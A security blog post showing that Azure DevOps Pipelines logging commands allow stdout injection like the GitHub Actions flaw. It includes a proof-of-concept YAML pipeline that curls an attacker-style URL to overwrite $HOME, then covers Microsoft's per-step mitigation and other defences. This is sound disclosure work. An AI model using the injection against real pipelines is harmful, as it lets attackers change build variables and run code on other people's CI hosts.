CVE-2020-15228 redux: Azure DevOps Pipelines RCE

Reading hackernews, I came across Issue 2070: Github: Widespread injection vulnerabilities in Actions. While I've yet to use github actions seriously, I recognised the feature described as near idential to Azure DevOps' "Logging Commands" and decided to look at whether they were vulnerable to the same issue. They are:

fwilhelm@google.com explains the issue well in his original report:

The big problem with this feature is that it is highly vulnerable to injection attacks. As the runner process parses every line printed to STDOUT looking for workflow commands, every Github action that prints untrusted content as part of its execution is vulnerable. In most cases, the ability to set arbitrary environment variables results in remote code execution as soon as another workflow is executed.

Azure DevOps' logging commands contain almost the exact same syntax as github actions, and one of the commands (task.setvariable) allows you to set arbitrary variables. Time for a poc:

pool:
  vmImage: 'ubuntu-latest'
steps:
- bash: |
    curl -v https://pricey.uk/ado-vuln-demo
- bash: |
    echo $HOME
  displayName: "Oh dear..."

There's obviously a problem on line 14 of the following output, as environment variables have been modified from the default ($HOME should be /home/vsts for Azure Hosted build runners): Azure DevOps Pipeline output showing HOME variable is altered.

To reiterate the issues here:

The proposed mitigation:

Microsoft's proposal is to allow pipeline authors to opt in to logging command restrictions on a per-task basis: https://docs.microsoft.com/en-us/azure/devops/pipelines/security/templates?view=azure-devops#agent-logging-command-restrictions

Important: Setting target: { commands: restricted } is not enough, an empty settableVariables must also be given.

Taking that into use, with an updated pipeline:

pool:
  vmImage: 'ubuntu-latest'
steps:
- bash: |
    curl -v https://pricey.uk/ado-vuln-demo
  target:
    commands: restricted
    settableVariables: []
- bash: |
    echo $HOME
  displayName: "Oh dear..."

sure seems to work, the $HOME variable wasn't modified with this example: Azure DevOps Pipeline output showing HOME variable is set to default, /home/vsts. and a warning even pops up in the build result page: Azure DevOps Pipeline warnings showing modifying variables was disabled.

Comparing these changes to GitHub's response

Github decided that there was no simple way to secure this feature fully and so first marked it deprecated, initially making the unsafe behaviour opt-in before disabling it entirely.

Microsoft has taken the exact opposite approach, making it opt-out per-step, with no apparent way to opt-out on job, stage or even pipeline level. I understand Microsoft's decision is likely motivated to ensure that existing pipeline functionality is not broken, but this mitigation is "default unsafe" for all users. I do not trust myself to add the mitigation to every step which may be affected. Given perhaps only one in fifty of my pipelines utilises these logging features, I would be far happier with the approach if a there was a method to opt out of logging commands at the pipeline (or project, or organisation!) level.

Summarising possible mitigations for users.

The new yaml syntax above plainly works, but I don't think it's enough. If this vulnerability is an issue for you, then you must remember to specify it now and in the future on every single task you ever run through ADO pipelines. What other onion layers are possible?

Don't print untrusted output.

This is a difficult one as many tasks (builtin & marketplace) will print something from an outside source. Take the example shown on Azure DevOps' homepage currently: Image extracted from current Azure DevOps homepage showing npm install output What's to stop the author of one of your npm dependencies (or one of their thousand dependencies) printing something arbitrary to screen during it's installation?

Care must be taken that anything that is output from an untrusted source is sanitised, even something as apparently benign as an http status code for example.

Rely on logging to file & artifacts.

Following on from the suggestion above, an option may be to wrap all steps to log to a file instead of standard output, then use Azure Pipelines Artifacts to store these for retrieval from the UI.

This will not be possible for market place steps, only those you write yourself.

Reduce reliance on ADO (marketplace) steps & implement more pipelines as a single script.

One of the best things about ADO in my opinion is the pre-built steps making it easy to "npm install" or "msbuild" without needing to care about the complications of setting up your environment. Exploiting this issue relies on there being at least two distinct steps in your pipeline, with the first vulnerable and the latter controllable via variables.

I have been thinking recently that this convenience is not worth the risk for multiple reasons. Primarily vendor lockin but also unnecessary differences between local & ci builds. This vulnerability adds to my belief that my projects' build systems should have clear entry points, unintegrated with the build runner. If there is no "second step", there is nothing to exploit? (It's also easier to switch to a more modern, safe by default system...)

This has repercussions on how the build runner environment must be set up, and plainly means more work & effort. Not great.

Further lock down build hosts.

If you accept you may be a target of this vulnerability, then limiting the possibilities if you are targetted may be a consideration. Perhaps you should migrate to Azure virtual machine scale set agents in a locked down virtual network to prevent egress to non-allow-listed hosts?

Summary

I'm a huge fan of Azure DevOps and the innovations it has brought to the table. The team's response to this vulnerability in allowing users to opt-out in a very cumbersome way leaves a sour taste however.

Every user of Azure DevOps pipelines should now assume they are vulnerable to targetted attacks by default and consider what mitigations are suitable for them.

The original GitHub vulnerability was widely reported and I would be amazed if the identical issue with Azure DevOps isn't already known in certain communities. There are likely many frequent patterns that are vulnerable, reducing the need for knowledge on the targets setup.

Vulnerability Timeline: